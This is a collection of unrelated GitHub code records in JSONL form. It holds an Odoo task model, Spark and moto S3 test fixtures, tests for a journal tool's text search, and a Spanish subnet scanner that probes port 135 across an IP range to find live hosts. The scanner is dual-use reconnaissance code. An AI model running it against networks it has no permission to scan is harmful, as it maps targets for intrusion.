2634\n","repo_name":"UzairNoman/bit-track","sub_path":"Escan/count_active_account.py","file_name":"count_active_account.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19874671517","text":"# © 2021 - today Numigi (tm) and all its contributors (https://bit.ly/numigiens)\n# License LGPL-3.0 or later (http://www.gnu.org/licenses/lgpl).\n\nfrom odoo import models\n\n\nclass ProjectTask(models.Model):\n\n _inherit = \"project.task\"\n\n def _get_values_for_invisible_template_fields(self):\n vals = super()._get_values_for_invisible_template_fields()\n vals[\"date_planned\"] = False\n return vals\n","repo_name":"Numigi/odoo-project-addons","sub_path":"project_template_date_planned/models/project_task.py","file_name":"project_task.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"75"} +{"seq_id":"17169120628","text":"import logging\n\nimport boto3\nimport pytest\nimport requests\nfrom moto.server import ThreadedMotoServer\nfrom pyspark.sql import SparkSession, session\nfrom pytest import MonkeyPatch\nfrom unittest.mock import Mock\n\n\nMOTO_PORT = 5050\nMOTO_ENDPOINT = f\"http://localhost:{MOTO_PORT}\"\n\n\n@pytest.fixture(scope=\"session\")\ndef monkeysession():\n with pytest.MonkeyPatch.context() as mp:\n yield mp\n\n\n@pytest.fixture(scope=\"session\")\ndef spark_session(moto_server, monkeysession: MonkeyPatch) -> SparkSession:\n \"\"\"Fixture for creating a Spark context.\"\"\"\n spark_session = (\n SparkSession.builder.appName(\"test\")\n .config(\"spark.jars.packages\", \"io.delta:delta-core_2.12:2.1.0\")\n .config(\"spark.sql.extensions\", \"io.delta.sql.DeltaSparkSessionExtension\")\n .config(\"spark.sql.catalog.spark_catalog\", \"org.apache.spark.sql.delta.catalog.DeltaCatalog\")\n .getOrCreate()\n )\n\n hadoop_conf = spark_session._jsc.hadoopConfiguration()\n hadoop_conf.set(\"fs.s3.impl\", \"org.apache.hadoop.fs.s3a.S3AFileSystem\")\n hadoop_conf.set(\"fs.s3a.aws.credentials.provider\", \"org.apache.hadoop.fs.s3a.SimpleAWSCredentialsProvider\")\n hadoop_conf.set(\"fs.s3a.access.key\", \"mock\")\n hadoop_conf.set(\"fs.s3a.secret.key\", \"mock\")\n hadoop_conf.set(\"fs.s3a.endpoint\", MOTO_ENDPOINT)\n hadoop_conf.set(\"fs.s3a.path.style.access\", \"true\")\n hadoop_conf.set(\"fs.s3a.connection.ssl.enabled\", \"false\")\n\n spark_session.stop_for_real = spark_session.stop\n monkeysession.setattr(session.SparkSession, \"__new__\", spark_session)\n monkeysession.setattr(session.SparkSession, \"stop\", Mock())\n\n yield spark_session\n spark_session.stop_for_real()\n\n\n@pytest.fixture(scope=\"session\")\ndef s3_client():\n \"\"\"\n Fixture for creating an S3 client.\n \"\"\"\n s3_endpoint_url = MOTO_ENDPOINT\n aws_access_key_id = \"mock\"\n aws_secret_access_key = \"mock\"\n\n s3_client = boto3.client(\n \"s3\",\n endpoint_url=s3_endpoint_url,\n aws_access_key_id=aws_access_key_id,\n aws_secret_access_key=aws_secret_access_key,\n )\n yield s3_client\n\n\n@pytest.fixture(scope=\"session\")\ndef moto_server():\n \"\"\"\n Fixture for starting the Moto server.\n \"\"\"\n log = logging.getLogger(\"werkzeug\")\n log.setLevel(logging.ERROR)\n\n try:\n requests.get(MOTO_ENDPOINT)\n except requests.exceptions.ConnectionError:\n server = ThreadedMotoServer(port=MOTO_PORT)\n server.start()\n yield server\n server.stop()\n","repo_name":"ivtavares/vs_code_local_spark_dev","sub_path":"tests/spark_fixtures.py","file_name":"spark_fixtures.py","file_ext":"py","file_size_in_byte":2489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29815558368","text":"from support import jrnl # noqa: F401\nfrom support import insert_entry, run_j\nimport datetime\nimport json\n\n\ndef test_textual_search0001(jrnl): # noqa: F811\n \"\"\"Check textual filter works and is not case sensitive by default\"\"\"\n\n dt = datetime.datetime(2017, 1, 1, 12, 00, 00)\n insert_entry(jrnl, \"My Title\", \"@tag1 @tag2\", \"Body\", time=dt,\n fn_suffix=\"xxxxxxxx\")\n out, err, rv = run_j(jrnl, [\"s\", \"-j\", \"-t\", \"body\"])\n assert rv == 0\n assert err.strip() == b\"\"\n jsn = json.loads(out.strip())\n assert len(jsn[\"entries\"]) == 1\n ent = jsn[\"entries\"][0]\n\n assert ent[\"title\"] == \"My Title\"\n assert ent[\"time\"] == \"2017-01-01 12:00:00\"\n assert set(ent[\"tags\"]) == set([\"tag1\", \"tag2\"])\n\n\ndef test_textual_search0002(jrnl): # noqa: F811\n \"\"\"Check case sensitive textual filter works\"\"\"\n\n dt = datetime.datetime(2017, 1, 1, 12, 00, 00)\n insert_entry(jrnl, \"My Title\", \"@tag1 @tag2\", \"Body\", time=dt,\n fn_suffix=\"xxxxxxxx\")\n out, err, rv = run_j(jrnl, [\"s\", \"-j\", \"-c\", \"-t\", \"body\"])\n assert rv == 0\n assert err.strip() == b\"\"\n jsn = json.loads(out.strip())\n assert len(jsn[\"entries\"]) == 0\n","repo_name":"vext01/j","sub_path":"tests/test_system_textual_filters.py","file_name":"test_system_textual_filters.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26437800845","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Script: ping.py\n# Creado por: Arturo Mata < arturo.mata@gmail.com >\n# Versión: 1.0.0\n# DESCARGO DE RESPONSABILIDAD\n# Este programa está diseñado con fines de investigación busqueda de vulnerabilidades en la configuracion de equipos,\n# y el autor no asumirá ninguna responsabilidad si se le da cualquier otro uso.\nimport socket\nfrom datetime import datetime\n\n# Se agrega la dirección IP del dispositivo gateway\nnet = input(\"Ingrese la direccion IP del gateway: \")\nnet1 = net.split('.')\na = '.'\n\n# Se define el rango de direcciones IP que se desea analizar, dependera de la mascara de la red en estudio\nnet2 = net1[0] + a + net1[1] + a + net1[2] + a\nst1 = int(input(\"Ingrese IP inicial: \"))\nen1 = int(input(\"Ingrese IP final: \"))\nen1 = en1 + 1\nt1 = datetime.now()\n\ndef scan(addr):\n s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n socket.setdefaulttimeout(1)\n result = s.connect_ex((addr,135))\n if result == 0:\n return 1\n else :\n return 0\n\ndef run1():\n for ip in range(st1,en1):\n addr = net2 + str(ip)\n if (scan(addr)):\n print (addr , \"Activo\")\n\nrun1()\nt2 = datetime.now()\ntotal = t2 - t1\n","repo_name":"matarturo/scan_subnet","sub_path":"ping.py","file_name":"ping.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"}